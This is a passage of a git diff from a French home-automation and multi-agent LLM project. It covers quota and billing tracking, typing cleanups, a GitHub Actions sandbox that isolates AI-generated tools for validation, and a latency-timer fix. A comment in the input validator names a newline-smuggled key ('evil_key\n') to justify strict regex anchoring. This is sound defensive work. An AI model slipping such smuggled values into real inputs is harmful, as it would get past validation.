INTEGER NOT NULL, + window_seconds INTEGER + ) + """) + + +def insert_quota_snapshot(quotas: dict[str, Any]) -> int: """Enregistre un snapshot des quotas actuels en BDD. Appelé toutes les 60s par le sse_quota_pusher_loop. @@ -967,7 +986,7 @@ def insert_quota_snapshot(quotas: Dict[str, Any]) -> int: """ if not quotas: return 0 - + # Mapping des clés API → (channel, metric, max, window_seconds) QUOTA_MAP = { 'gemini_free_flash_rpm': ('gemini_free_flash', 'rpm', 15, 60), @@ -981,9 +1000,10 @@ def insert_quota_snapshot(quotas: Dict[str, Any]) -> int: 'gemini_cli_tph': ('gemini_cli', 'tph', 4000000, 3600), 'gemini_cli_tpm': ('gemini_cli', 'tpm', 100000000, 2592000), } - + try: conn = _get_connection() + _ensure_quota_snapshots_table(conn) ts = time.time() inserted = 0 for key, (channel, metric, max_val, window) in QUOTA_MAP.items(): @@ -1002,7 +1022,7 @@ def insert_quota_snapshot(quotas: Dict[str, Any]) -> int: return 0 -def get_quota_history(hours: int = 24, channel: str = None, metric: str = None) -> List[Dict]: +def get_quota_history(hours: int = 24, channel: str = None, metric: str = None) -> list[dict]: """Récupère l'historique des snapshots de quotas. Args: @@ -1013,21 +1033,21 @@ def get_quota_history(hours: int = 24, channel: str = None, metric: str = None) try: conn = _get_connection() since = time.time() - (hours * 3600) - + query = "SELECT timestamp, channel, metric, value, max_value FROM quota_snapshots WHERE timestamp > ?" params = [since] - + if channel: query += " AND channel = ?" params.append(channel) if metric: query += " AND metric = ?" params.append(metric) - + query += " ORDER BY timestamp ASC" rows = conn.execute(query, params).fetchall() conn.close() - + return [ { "timestamp": r[0], @@ -1064,7 +1084,7 @@ def insert_billing_record(provider: str, metric: str, value: float, return False -def get_billing_history(days: int = 30, provider: str = None) -> List[Dict]: +def get_billing_history(days: int = 30, provider: str = None) -> list[dict]: """Récupère l'historique de facturation. Args: @@ -1074,18 +1094,18 @@ def get_billing_history(days: int = 30, provider: str = None) -> List[Dict]: try: conn = _get_connection() since = time.time() - (days * 86400) - + query = "SELECT timestamp, provider, metric, value, currency, sync_source FROM billing_history WHERE timestamp > ?" params = [since] - + if provider: query += " AND provider = ?" params.append(provider) - + query += " ORDER BY timestamp ASC" rows = conn.execute(query, params).fetchall() conn.close() - + return [ { "timestamp": r[0], @@ -1114,29 +1134,29 @@ def cleanup_old_snapshots(retention_days: int = 90): try: with _db_lock: conn = _get_connection() - + # 1. Rétention quotas (90 jours par défaut) cutoff_quotas = time.time() - (retention_days * 86400) deleted_q = conn.execute("DELETE FROM quota_snapshots WHERE timestamp < ?", (cutoff_quotas,)).rowcount - + # 2. Rétention métriques unitaires (90 jours par défaut) deleted_r = conn.execute("DELETE FROM routing_decisions WHERE timestamp < ?", (cutoff_quotas,)).rowcount deleted_t = conn.execute("DELETE FROM token_usage WHERE timestamp < ?", (cutoff_quotas,)).rowcount - + # 3. Rétention exécutions techniques (14 jours de TTL) cutoff_runtime = time.time() - (14 * 86400) deleted_tasks = conn.execute("DELETE FROM dag_tasks WHERE started_at < ? OR (ended_at IS NOT NULL AND ended_at < ?)", (cutoff_runtime, cutoff_runtime)).rowcount deleted_edges = conn.execute("DELETE FROM dag_edges WHERE session_id IN (SELECT session_id FROM sessions WHERE started_at < ?)", (cutoff_runtime,)).rowcount deleted_memory = conn.execute("DELETE FROM scoped_memory WHERE session_id IN (SELECT session_id FROM sessions WHERE started_at < ?)", (cutoff_runtime,)).rowcount deleted_steps = conn.execute("DELETE FROM agent_steps WHERE timestamp < ?", (cutoff_runtime,)).rowcount - + # 4. Rétention checkpoints (48 heures) deleted_chk = conn.execute("DELETE FROM checkpoints WHERE datetime(updated_at) < datetime('now', '-2 days')").rowcount - + conn.commit() - + total_deleted = deleted_q + deleted_r + deleted_t + deleted_tasks + deleted_edges + deleted_memory + deleted_steps + deleted_chk - + # 5. Optimisation physique de la base de données (defragmentation) if total_deleted > 0: conn.execute("VACUUM") @@ -1182,7 +1202,7 @@ def cleanup_zombie_sessions() -> int: affected = cursor.rowcount conn.commit() conn.close() - + if affected > 0: logger.warning(f"[SESSION HISTORY] {affected} session(s) zombie(s) nettoyée(s)") return affected diff --git a/core/source_router.py b/core/source_router.py index 85c3aed..56deab7 100644 --- a/core/source_router.py +++ b/core/source_router.py @@ -132,7 +132,7 @@ def get_system_prompt_suffix(self) -> str: ), ResponseStyle.NATURAL: ( "\n\n[MODE VOCAL CONVERSATION — DISCUSSION] " - "Tu es l'assistant vocal sur sa tablette Tab5, en conversation libre. " + "Tu es l'assistant vocal d'Axel sur sa tablette Tab5, en conversation libre. " "Réponds en français, naturellement et brièvement : 2 à 3 phrases maximum. " "Pas de markdown, pas de listes, pas de titres, pas d'emojis, pas de code. " "Pas de noms d'entités techniques Home Assistant sauf si Axel le demande. " diff --git a/core/state.py b/core/state.py index d9fc21f..429c797 100644 --- a/core/state.py +++ b/core/state.py @@ -9,9 +9,10 @@ - Task Ledger enrichi (TaskStatus) pour le suivi individuel des sous-tâches """ -from pydantic import BaseModel, Field, ConfigDict -from typing import Any, Dict, List, Optional from enum import Enum +from typing import Any + +from pydantic import BaseModel, ConfigDict, Field class ExecutionPhase(str, Enum): @@ -45,14 +46,14 @@ class TaskPayload(BaseModel): task_objective: str relevant_context: str = "" - available_tools: List[str] = Field(default_factory=list) - metadata: Dict[str, Any] = Field(default_factory=dict) - task_id: Optional[str] = None - depends_on: List[str] = Field(default_factory=list) + available_tools: list[str] = Field(default_factory=list) + metadata: dict[str, Any] = Field(default_factory=dict) + task_id: str | None = None + depends_on: list[str] = Field(default_factory=list) # Task Ledger enrichi — suivi individuel pour l'IHM status: TaskStatus = TaskStatus.PENDING - assigned_agent: Optional[str] = None - result_summary: Optional[str] = None + assigned_agent: str | None = None + result_summary: str | None = None class StateUpdate(BaseModel): @@ -65,10 +66,10 @@ class StateUpdate(BaseModel): agent_name: str status: str result_data: Any = None - next_agent: Optional[str] = None - error_message: Optional[str] = None - new_tasks: List[TaskPayload] = Field(default_factory=list) - metadata: Dict[str, Any] = Field(default_factory=dict) + next_agent: str | None = None + error_message: str | None = None + new_tasks: list[TaskPayload] = Field(default_factory=list) + metadata: dict[str, Any] = Field(default_factory=dict) class WorkflowMetadata(BaseModel): @@ -76,8 +77,8 @@ class WorkflowMetadata(BaseModel): trace_id: str = "" total_tokens: int = 0 total_cost_usd: float = 0.0 - start_time: Optional[str] = None - timeout_deadline: Optional[str] = None + start_time: str | None = None + timeout_deadline: str | None = None class GlobalState(BaseModel): @@ -94,14 +95,14 @@ class GlobalState(BaseModel): session_id: str current_phase: ExecutionPhase = ExecutionPhase.INIT - history: List[StateUpdate] = Field(default_factory=list) - current_payload: Optional[TaskPayload] = None - shared_memory: Dict[str, Any] = Field(default_factory=dict) - task_queue: List[TaskPayload] = Field(default_factory=list) + history: list[StateUpdate] = Field(default_factory=list) + current_payload: TaskPayload | None = None + shared_memory: dict[str, Any] = Field(default_factory=dict) + task_queue: list[TaskPayload] = Field(default_factory=list) # Métadonnées système et mémoire d'entités workflow_metadata: WorkflowMetadata = Field(default_factory=WorkflowMetadata) - entity_memory: Dict[str, Any] = Field(default_factory=dict) + entity_memory: dict[str, Any] = Field(default_factory=dict) # Mémoire de travail partagée entre agents pendant le DAG. # Accessible en lecture/écriture par tous les agents via state.working_memory. # Protégée par _history_lock dans Engine pour la thread-safety. - working_memory: Dict[str, Any] = Field(default_factory=dict) + working_memory: dict[str, Any] = Field(default_factory=dict) diff --git a/core/tab5_pusher.py b/core/tab5_pusher.py index f6b1e7d..b09413d 100644 --- a/core/tab5_pusher.py +++ b/core/tab5_pusher.py @@ -15,7 +15,7 @@ dreamer_suggestions: {max: 255} input_boolean: moteur_alert_active: {} - - Variable d'environnement : HA_TOKEN= + - Variable d'environnement : HASS_TOKEN= (repli : HA_TOKEN) Auteur : Antigravity IDE + Axel Date : 2026-06-06 @@ -27,6 +27,7 @@ import aiohttp from core.ha_tls import ha_ssl_context # [P0-1.5] politique TLS HA centralisée +from core.ha_token import get_ha_token # [T239] lecture centralisée du token HA logger = logging.getLogger(__name__) @@ -57,14 +58,14 @@ def __init__( """ Args: ha_url: URL HA (défaut : http://${HA_HOST:-192.168.1.x}:8123) - ha_token: Token Bearer HA (défaut : env HA_TOKEN) + ha_token: Token Bearer HA (défaut : env HASS_TOKEN, repli HA_TOKEN) """ self.ha_url = ha_url or os.environ.get("HA_URL", DEFAULT_HA_URL) - self.ha_token = ha_token or os.environ.get("HA_TOKEN", "") + self.ha_token = ha_token or get_ha_token() self._session: aiohttp.ClientSession | None = None if not self.ha_token: - logger.warning("[TAB5 PUSHER] HA_TOKEN manquant — les push échoueront silencieusement") + logger.warning("[TAB5 PUSHER] Token HA manquant (HASS_TOKEN/HA_TOKEN) — les push échoueront silencieusement") # ────────────────────────────────────────────────────────────── # Internals diff --git a/core/token_crypto.py b/core/token_crypto.py index a6cd71b..9790fd8 100644 --- a/core/token_crypto.py +++ b/core/token_crypto.py @@ -9,9 +9,9 @@ en clair (JSON), la lecture retombe sur le JSON brut — pas de casse en prod tant que la migration (`tools/encrypt_google_token.py`) n'a pas tourné. """ -import os import json import logging +import os logger = logging.getLogger("core.token_crypto") diff --git a/core/token_tracker.py b/core/token_tracker.py index 86c6011..3844377 100644 --- a/core/token_tracker.py +++ b/core/token_tracker.py @@ -1,8 +1,17 @@ -import os +""" +core/token_tracker.py — Agrégateur de tracking tokens et quotas glissants. + +Charge l'usage depuis core/runtime_db.py (table token_usage), classifie les +modèles par canal (claude-cli-abo, gemini-free-flash, deepseek...) et compile +les quotas (RPM/TPM/RPD/TPH) par fenêtre glissante. Source de vérité pour +core/provider_scorer.py et core/quota_collector.py. Le barème de prix vient +désormais de core/pricing.py (source unique pricing_strategy.json). +""" import json import logging -from threading import RLock +import os from datetime import datetime, timedelta +from threading import RLock logger = logging.getLogger(__name__) @@ -34,7 +43,7 @@ def classify_model_channel(model: str) -> str: - Les modèles 'pro' → gemini-free-pro, les autres flash/etc → gemini-free-flash """ m = model.lower() - + # 1. Canaux CLI (abonnements mensuels) — identifiés par le suffixe '-cli' if "-cli" in m: if "claude" in m: @@ -44,37 +53,38 @@ def classify_model_channel(model: str) -> str: # Alias direct sans suffixe if m == "claude": return "claude-cli-abo" - + # 2. API payante GCP (pas de quota free tier) if "-paid" in m: return "gemini-paid-api" - + # 3. Modèles Gemini (API Free Tier — la majorité des appels du moteur) if "gemini" in m: if "pro" in m: return "gemini-free-pro" else: return "gemini-free-flash" - + # 4. DeepSeek API payante if "deepseek" in m: return "deepseek-api-payant" - + # 5. MiniMax API payante if "minimax" in m: return "minimax-api-payant" - + return "other" import sqlite3 + def load_usage() -> dict: """Charge les données agrégées depuis SQLite pour simuler l'ancienne structure JSON.""" try: from core.runtime_db import get_connection conn = get_connection() conn.row_factory = sqlite3.Row - + # 1. Charger total row_total = conn.execute(""" SELECT @@ -84,14 +94,14 @@ def load_usage() -> dict: COALESCE(SUM(cost_usd), 0.0) as cost FROM token_usage """).fetchone() - + total = { "prompt_tokens": row_total["prompt"], "completion_tokens": row_total["completion"], "total_tokens": row_total["total"], "estimated_cost_usd": row_total["cost"] } - + # 2. Charger models models = {} cursor_models = conn.execute(""" @@ -111,7 +121,7 @@ def load_usage() -> dict: "total_tokens": row["total"], "estimated_cost_usd": row["cost"] } - + # 3. Charger sessions sessions = {} cursor_sessions = conn.execute(""" @@ -138,7 +148,7 @@ def load_usage() -> dict: "estimated_cost_usd": row["cost"], "models": {} } - + # 4. Charger history (100 derniers appels) history = [] cursor_history = conn.execute(""" @@ -154,7 +164,7 @@ def load_usage() -> dict: "completion_tokens": row["completion_tokens"], "cost_usd": row["cost_usd"] }) - + # 5. Charger real_billing depuis scoped_memory real_billing = { "gemini_gcp_cost_usd": 0.0, @@ -175,7 +185,7 @@ def load_usage() -> dict: real_billing.update(loaded_billing) except Exception: pass - + conn.close() return { "total": total, @@ -206,13 +216,20 @@ def save_usage(data: dict): """Sauvegarde les données d'utilisation (no-op car stocké en direct dans SQLite).""" pass -def update_real_billing(gcp_cost_usd: float = None, deepseek_balance_usd: float = None, claude_message_usage_pct: int = None, claude_summary_text: str = None): +def update_real_billing( + gcp_cost_usd: float = None, + deepseek_balance_usd: float = None, + claude_message_usage_pct: int = None, + claude_summary_text: str = None, + anthropic_api_cost_usd: float = None, + gemini_subscription_summary: str = None, +): """Met à jour les informations de facturation réelle dans scoped_memory SQLite.""" try: from core.runtime_db import get_connection conn = get_connection() conn.row_factory = sqlite3.Row - + # Charger la valeur existante real_billing = { "gemini_gcp_cost_usd": 0.0, @@ -221,10 +238,14 @@ def update_real_billing(gcp_cost_usd: float = None, deepseek_balance_usd: float "deepseek_last_sync": None, "claude_message_usage_pct": None, "claude_summary_text": None, - "claude_last_sync": None + "claude_last_sync": None, + "anthropic_api_cost_usd": None, + "anthropic_api_last_sync": None, + "gemini_subscription_summary": None, + "gemini_subscription_last_sync": None, } row_billing = conn.execute(""" - SELECT value_json FROM scoped_memory + SELECT value_json FROM scoped_memory WHERE session_id = 'global' AND scope_id = 'global' AND key = 'real_billing' """).fetchone() if row_billing and row_billing["value_json"]: @@ -233,7 +254,7 @@ def update_real_billing(gcp_cost_usd: float = None, deepseek_balance_usd: float real_billing.update(loaded_billing) except Exception: pass - + # Mettre à jour avec les nouveaux paramètres now_str = datetime.now().isoformat() if gcp_cost_usd is not None: @@ -248,7 +269,13 @@ def update_real_billing(gcp_cost_usd: float = None, deepseek_balance_usd: float if claude_summary_text is not None: real_billing["claude_summary_text"] = claude_summary_text real_billing["claude_last_sync"] = now_str - + if anthropic_api_cost_usd is not None: + real_billing["anthropic_api_cost_usd"] = anthropic_api_cost_usd + real_billing["anthropic_api_last_sync"] = now_str + if gemini_subscription_summary is not None: + real_billing["gemini_subscription_summary"] = gemini_subscription_summary + real_billing["gemini_subscription_last_sync"] = now_str + # Écrire dans scoped_memory conn.execute(""" INSERT OR REPLACE INTO scoped_memory (session_id, scope_id, key, value_json) @@ -259,6 +286,54 @@ def update_real_billing(gcp_cost_usd: float = None, deepseek_balance_usd: float except Exception as e: logger.warning(f"[TOKEN TRACKER] Erreur update_real_billing SQLite : {e}") + +def get_manual_balances() -> dict: + """ + Soldes saisis manuellement par l'utilisateur pour les providers sans API + de solde connue (Mistral, Cohere, Cerebras, Zhipu, MiniMax, xAI...). + Clé : nom du provider (ex: "mistral") -> {"balance_usd", "updated_at", "note"}. + """ + try: + from core.runtime_db import get_connection + conn = get_connection() + conn.row_factory = sqlite3.Row + row = conn.execute(""" + SELECT value_json FROM scoped_memory + WHERE session_id = 'global' AND scope_id = 'global' AND key = 'manual_provider_balances' + """).fetchone() + conn.close() + if row and row["value_json"]: + return json.loads(row["value_json"]) + return {} + except Exception as e: + logger.warning(f"[TOKEN TRACKER] Erreur get_manual_balances : {e}") + return {} + + +def set_manual_balance(provider: str, balance_usd: float, note: str = "") -> None: + """Enregistre/actualise un solde saisi manuellement pour un provider donné.""" + try: + from core.runtime_db import get_connection + conn = get_connection() + conn.row_factory = sqlite3.Row + + balances = get_manual_balances() + balances[provider] = { + "balance_usd": balance_usd, + "updated_at": datetime.now().isoformat(), + "note": note, + } + + conn.execute(""" + INSERT OR REPLACE INTO scoped_memory (session_id, scope_id, key, value_json) + VALUES ('global', 'global', 'manual_provider_balances', ?) + """, (json.dumps(balances),)) + conn.commit() + conn.close() + except Exception as e: + logger.warning(f"[TOKEN TRACKER] Erreur set_manual_balance : {e}") + + def init_session(session_id: str, objective: str): """Initialise une session/conversation dans la base SQLite.""" if not session_id: @@ -270,11 +345,25 @@ def init_session(session_id: str, objective: str): except Exception as e: logger.warning(f"[TOKEN TRACKER] Erreur init_session SQLite : {e}") -def record_usage(model: str, prompt_tokens: int, completion_tokens: int, session_id: str = None, cost_usd: float = None): - """Enregistre la consommation de tokens pour un modèle donné directement dans SQLite.""" +def record_usage(model: str, prompt_tokens: int, completion_tokens: int, session_id: str = None, cost_usd: float = None, agent_name: str = None): + """Enregistre la consommation de tokens pour un modèle donné directement dans SQLite. + + [#T296] `agent_name` : à défaut d'être passé explicitement, il est lu dans la + ContextVar posée par `BaseAgent.invoke()` (`core/agent_trace.py`). Les ~15 + call-sites des providers n'ont donc rien à transporter — un provider ne + connaît de toute façon pas l'agent. Reste None hors agent (routeur, + collecteur de quotas, script direct) : une absence légitime, pas un défaut. + """ if prompt_tokens <= 0 and completion_tokens <= 0: return + if agent_name is None: + try: + from core.agent_trace import lire_agent_courant + agent_name = lire_agent_courant() + except Exception: # pragma: no cover - import défensif + agent_name = None + price = _get_pricing_for_model(model) if cost_usd is not None: cost = cost_usd @@ -291,6 +380,7 @@ def record_usage(model: str, prompt_tokens: int, completion_tokens: int, session cost_usd=cost, session_id=session_id, channel=channel, + agent_name=agent_name, ) except Exception as e: logger.warning(f"[TOKEN TRACKER] Erreur record_usage SQLite : {e}") @@ -337,25 +427,25 @@ def get_quotas_status() -> dict: return db_result except Exception as e: logger.warning(f"[QUOTAS] Fallback JSON (SQLite indisponible) : {e}") - + # Fallback : calcul depuis le JSON history[] (ancien code) with _lock: data = load_usage() history = data.get("history", []) - + now = datetime.now() t_1m = now - timedelta(minutes=1) t_1h = now - timedelta(hours=1) t_24h = now - timedelta(days=1) t_30j = now - timedelta(days=30) - + calls = { "gemini-free-flash": [], "gemini-free-pro": [], "claude-cli-abo": [], "gemini-cli-abo": [] } - + for tx in history: try: tx_time = datetime.fromisoformat(tx["timestamp"]) @@ -367,36 +457,36 @@ def get_quotas_status() -> dict: "time": tx_time, "tokens": tx.get("prompt_tokens", 0) + tx.get("completion_tokens", 0) }) - + flat = { "gemini_free_flash_rpm": 0, "gemini_free_flash_tpm": 0, "gemini_free_flash_rpd": 0, "gemini_free_pro_rpm": 0, "gemini_free_pro_tpm": 0, "gemini_free_pro_rpd": 0, "claude_cli_tph": 0, "claude_cli_tpm": 0, "gemini_cli_tph": 0, "gemini_cli_tpm": 0, } - + # Gemini Free Flash items = calls["gemini-free-flash"] flat["gemini_free_flash_rpm"] = len([x for x in items if x["time"] > t_1m]) flat["gemini_free_flash_tpm"] = sum(x["tokens"] for x in items if x["time"] > t_1m) flat["gemini_free_flash_rpd"] = len([x for x in items if x["time"] > t_24h]) - + # Gemini Free Pro items = calls["gemini-free-pro"] flat["gemini_free_pro_rpm"] = len([x for x in items if x["time"] > t_1m]) flat["gemini_free_pro_tpm"] = sum(x["tokens"] for x in items if x["time"] > t_1m) flat["gemini_free_pro_rpd"] = len([x for x in items if x["time"] > t_24h]) - + # Claude CLI items = calls["claude-cli-abo"] flat["claude_cli_tph"] = sum(x["tokens"] for x in items if x["time"] > t_1h) flat["claude_cli_tpm"] = sum(x["tokens"] for x in items if x["time"] > t_30j) - + # Gemini CLI items = calls["gemini-cli-abo"] flat["gemini_cli_tph"] = sum(x["tokens"] for x in items if x["time"] > t_1h) flat["gemini_cli_tpm"] = sum(x["tokens"] for x in items if x["time"] > t_30j) - + return flat @@ -410,7 +500,7 @@ def get_global_summary() -> dict: total = data.get("total", {}) models = data.get("models", {}) real_billing = data.get("real_billing", {}) - + return { "total_tokens": total.get("total_tokens", 0), "total_prompt_tokens": total.get("prompt_tokens", 0), @@ -429,6 +519,10 @@ def get_global_summary() -> dict: "deepseek_balance_usd": real_billing.get("deepseek_balance_usd", 0.0), "gemini_gcp_cost_usd": real_billing.get("gemini_gcp_cost_usd", 0.0), "claude_usage_pct": real_billing.get("claude_message_usage_pct"), + "anthropic_api_cost_usd": real_billing.get("anthropic_api_cost_usd"), + "anthropic_api_last_sync": real_billing.get("anthropic_api_last_sync"), + "gemini_subscription_summary": real_billing.get("gemini_subscription_summary"), + "gemini_subscription_last_sync": real_billing.get("gemini_subscription_last_sync"), } } except Exception as e: diff --git a/core/toolmaker_sandbox.py b/core/toolmaker_sandbox.py index 4e04df7..5fbb12b 100644 --- a/core/toolmaker_sandbox.py +++ b/core/toolmaker_sandbox.py @@ -6,14 +6,22 @@ Actions jetable : 1. Création d'une branche éphémère `toolmaker/validate-` via l'API Git Data - (blob → tree → commit → ref : un seul événement push, donc un seul run) ; -2. Le workflow `.github/workflows/toolmaker_validate.yml` exécute le candidat - dans une VM GitHub isolée (aucun accès réseau au LAN Deck/HA, GITHUB_TOKEN - du job sans aucune permission) et échoue si `SANDBOX_OK` n'apparaît pas ; + (blobs → tree → commit → ref : un seul événement push, donc un seul run) ; +2. Le workflow `.github/workflows/toolmaker_validate.yml` exécute les fichiers + `test_*.py` poussés dans une VM GitHub isolée (aucun accès réseau au LAN + Deck/HA, GITHUB_TOKEN du job sans aucune permission) et échoue si + `SANDBOX_OK` n'apparaît pas dans la sortie ; 3. Le verdict (conclusion du run) est interrogé par l'API REST Actions en polling asyncio ; 4. La branche éphémère est supprimée dans tous les cas (finally). +[#T190] Le candidat n'est plus un fichier unique (outil + bloc de test injecté) +mais deux fichiers : `.py` (l'outil) et `test_.py` (son +test minimal — import + appel + retour non None). C'est ce fichier de test, +exactement, que le runner exécute et qui est ensuite persisté à côté de +l'outil dans `plugins/auto_generated//`. Un outil dont le test +échoue est rejeté, jamais enregistré. + Choix SYNCHRONE (le flux attend le verdict, ~30 s à 2 min) plutôt qu'asynchrone avec notification après coup : le ToolMaker n'est pas sur un chemin interactif (déclenché par le SkillStore en tâche de fond), son `invoke()` attendait déjà @@ -25,8 +33,8 @@ Sécurité (fail-closed) : sans PAT dédié (`MOTEUR_TOOLMAKER_PAT`), la validation ÉCHOUE — il n'y a aucun repli vers une exécution locale. Le PAT doit être un fine-grained token limité à CE dépôt (Contents: read/write, Actions: read), -distinct de `GITHUB_TOKEN` (clé LLM GitHub Models dans ce projet) et de tout -PAT existant plus large (cf. audit config Antigravity). +distinct de `GITHUB_TOKEN` (sans usage LLM depuis le retrait de GitHub +Models le 30/07/2026, #T280) et de tout PAT existant plus large (cf. audit config Antigravity). """ import asyncio @@ -39,8 +47,9 @@ GITHUB_API = "https://api.github.com" -# Chemin du candidat dans la branche éphémère — doit correspondre au workflow. -CANDIDATE_PATH = ".toolmaker_sandbox/candidate_full.py" +# Chemin des fichiers candidats dans la branche éphémère — doit correspondre +# au workflow (il exécute .toolmaker_sandbox/test_*.py). +CANDIDATE_DIR = ".toolmaker_sandbox" def _get_pat() -> str | None: @@ -61,17 +70,20 @@ async def _gh(client, method: str, path: str, **kwargs): async def validate_candidate_remote( - full_code: str, + files: dict[str, str], timeout_s: float | None = None, poll_interval_s: float = 6.0, _client=None, ) -> dict: """ - Pousse le code candidat sur une branche éphémère, attend le verdict du - workflow `ToolMaker Validate`, puis supprime la branche. + Pousse les fichiers candidats sur une branche éphémère, attend le verdict + du workflow `ToolMaker Validate`, puis supprime la branche. Args: - full_code: Code candidat complet (outil + bloc de test SANDBOX_OK). + files: Dictionnaire {chemin_relatif: contenu} des fichiers poussés + sous CANDIDATE_DIR — l'outil (`.py`) et son test + minimal (`test_.py`, [#T190]). Le workflow exécute + les test_*.py et échoue sans `SANDBOX_OK` en sortie. timeout_s: Délai global d'attente du verdict (défaut : env MOTEUR_TOOLMAKER_TIMEOUT_S ou 300 s). poll_interval_s: Intervalle de polling de l'API Actions. @@ -94,6 +106,9 @@ async def validate_candidate_remote( "run_url": None, } + if not files: + return {"passed": False, "error": "Aucun fichier candidat fourni", "run_url": None} + if timeout_s is None: try: timeout_s = float(os.environ.get("MOTEUR_TOOLMAKER_TIMEOUT_S", "300")) @@ -127,24 +142,29 @@ async def validate_candidate_remote( ).json() base_tree_sha = base_commit["tree"]["sha"] - # 2. blob → tree → commit → ref : un seul push, donc un seul run. - blob = ( - await _gh( - client, "POST", f"/repos/{repo}/git/blobs", - json={"content": full_code, "encoding": "utf-8"}, - ) - ).json() + # 2. blobs → tree → commit → ref : un seul push, donc un seul run. + # [#T190] Chaque fichier (outil + test) a son propre blob ; le tree + # les référence tous sous CANDIDATE_DIR, chemins relatifs au dépôt. + tree_entries = [] + for rel_path, content in files.items(): + blob = ( + await _gh( + client, "POST", f"/repos/{repo}/git/blobs", + json={"content": content, "encoding": "utf-8"}, + ) + ).json() + tree_entries.append({ + "path": f"{CANDIDATE_DIR}/{rel_path}", + "mode": "100644", + "type": "blob", + "sha": blob["sha"], + }) tree = ( await _gh( client, "POST", f"/repos/{repo}/git/trees", json={ "base_tree": base_tree_sha, - "tree": [{ - "path": CANDIDATE_PATH, - "mode": "100644", - "type": "blob", - "sha": blob["sha"], - }], + "tree": tree_entries, }, ) ).json() diff --git a/core/validation.py b/core/validation.py index 09d6813..b21276e 100644 --- a/core/validation.py +++ b/core/validation.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ core/validation.py — Validateurs d'entrées externes (P0-1.6). @@ -15,7 +14,7 @@ # aussi juste avant un saut de ligne terminal). _HA_DOMAIN_RE = re.compile(r"^[a-z][a-z0-9_]*\Z") # ex: light, climate, binary_sensor _HA_OBJECT_RE = re.compile(r"^[a-z0-9_]+\Z") # ex: turn_on, set_temperature -_HA_ENTITY_RE = re.compile(r"^[a-z][a-z0-9_]*\.[a-z0-9_]+\Z") # ex: light.salon_principal +_HA_ENTITY_RE = re.compile(r"^[a-z][a-z0-9_]*\.[a-z0-9_]+\Z") # ex: light.living_room_principal # Google Sheets : l'ID ne contient que [A-Za-z0-9_-]. _GSHEET_ID_RE = re.compile(r"^[A-Za-z0-9_-]+\Z") @@ -69,7 +68,7 @@ def validate_service_data(data: dict) -> None: # \Z (et non $) : cohérence avec le reste du module — $ matcherait avant un # éventuel \n final, laissant passer une clé du type "evil_key\n". key_regex = re.compile(r"^[a-zA-Z0-9_]+\Z") - + def _scan_value(value, ctx: str) -> None: """Inspecte récursivement une valeur (str/dict/list, y compris listes imbriquées).""" if isinstance(value, str): diff --git a/core/visual_qa.py b/core/visual_qa.py index 35208c7..5c809fb 100644 --- a/core/visual_qa.py +++ b/core/visual_qa.py @@ -17,14 +17,14 @@ - claude-sonnet-4-6 via CLI (inclus dans l'abonnement Pro) """ -import os -import base64 -import logging import asyncio +import base64 import json +import logging +import os import subprocess import tempfile -from typing import Optional, Dict, Any +from typing import Any logger = logging.getLogger(__name__) @@ -49,11 +49,11 @@ def __init__(self, llm_gateway=None): async def capture_and_analyze( self, - url: Optional[str] = None, + url: str | None = None, question: str = "Analyse cette interface. Est-elle visuellement correcte, harmonieuse et ergonomique ?", model_tier: str = "moyen", - session_id: Optional[str] = None, - ) -> Dict[str, Any]: + session_id: str | None = None, + ) -> dict[str, Any]: """ Capture un screenshot et l'analyse via un LLM multimodal. @@ -119,7 +119,7 @@ async def capture_and_analyze( analysis["screenshot_path"] = screenshot_path return analysis - async def capture_screenshot(self, url: str) -> Optional[str]: + async def capture_screenshot(self, url: str) -> str | None: """ Capture un screenshot via Puppeteer (subprocess Node.js). @@ -221,8 +221,8 @@ async def analyze_image( image_base64: str, question: str, model_tier: str = "moyen", - session_id: Optional[str] = None, - ) -> Dict[str, Any]: + session_id: str | None = None, + ) -> dict[str, Any]: """ Analyse multimodale d'un screenshot via un LLM supportant la vision. @@ -335,8 +335,8 @@ async def analyze_image( async def _call_gemini_multimodal( self, provider, system_prompt: str, user_prompt: str, - image_base64: str, session_id: Optional[str] = None - ) -> Optional[Dict]: + image_base64: str, session_id: str | None = None + ) -> dict | None: """ Appel Gemini avec image multimodale via l'API REST directe. @@ -436,7 +436,7 @@ async def _call_gemini_multimodal( logger.warning(f"[VISUAL-QA] Erreur appel Gemini multimodal : {e}") return None - def analyze_lvgl_code(self, yaml_content: str, cpp_content: str = "") -> Dict[str, Any]: + def analyze_lvgl_code(self, yaml_content: str, cpp_content: str = "") -> dict[str, Any]: """ Analyse textuelle enrichie d'un code LVGL (quand Puppeteer n'est pas applicable). @@ -489,7 +489,7 @@ def analyze_lvgl_code(self, yaml_content: str, cpp_content: str = "") -> Dict[st return analysis @staticmethod - def _error_result(error_msg: str) -> Dict[str, Any]: + def _error_result(error_msg: str) -> dict[str, Any]: """Retourne un résultat d'erreur formaté.""" return { "success": False, diff --git a/core/vocal_audit.py b/core/vocal_audit.py index 4cbb4bf..116bdf9 100644 --- a/core/vocal_audit.py +++ b/core/vocal_audit.py @@ -151,15 +151,41 @@ def _dict_row_factory(cursor, row): class VocalAuditTimer: - """Context manager léger pour mesurer la latence d'un /api/execute vocal.""" + """Context manager léger pour mesurer la latence d'un /api/execute vocal. + + #T270 — `elapsed_ms` est une PROPRIÉTÉ, pas un attribut posé à la sortie. + + Auparavant la valeur n'était calculée que dans `__exit__`, or les 14 appels à + `log_vocal_response(..., latency_ms=timer.elapsed_ms)` la lisent **à l'intérieur** + du bloc `with` — donc avant `__exit__`. Ils enregistraient tous `0.0`. Mesuré en + prod le 10/08/2026 : **394 réponses à `latency_ms = 0`** contre 26 valeurs réelles, + et zéro NULL. Conséquence en cascade : `/api/vocal/stats` filtrait `IS NOT NULL`, + laissait donc passer les 394 zéros, et annonçait **123 ms** de latence moyenne + là où la vraie valeur est **1991 ms** — un facteur 16, dans le sens flatteur. + + En propriété, lire pendant le bloc rend le temps écoulé à cet instant, et lire + après rend le total figé à la sortie. Les appels existants deviennent corrects + sans être modifiés, et un futur chemin de routage ne peut plus se tromper — + c'est le point : la mesure ne doit pas dépendre de l'endroit où on la lit. + """ def __init__(self): self._t0 = 0.0 - self.elapsed_ms: float = 0.0 + self._fige: float | None = None def __enter__(self): self._t0 = time.perf_counter() + self._fige = None return self def __exit__(self, *args): - self.elapsed_ms = (time.perf_counter() - self._t0) * 1000.0 + self._fige = (time.perf_counter() - self._t0) * 1000.0 + + @property + def elapsed_ms(self) -> float: + if self._fige is not None: + return self._fige + if not self._t0: + # Timer jamais démarré (instancié hors d'un `with`) : pas de mesure. + return 0.0 + return (time.perf_counter() - self._t0) 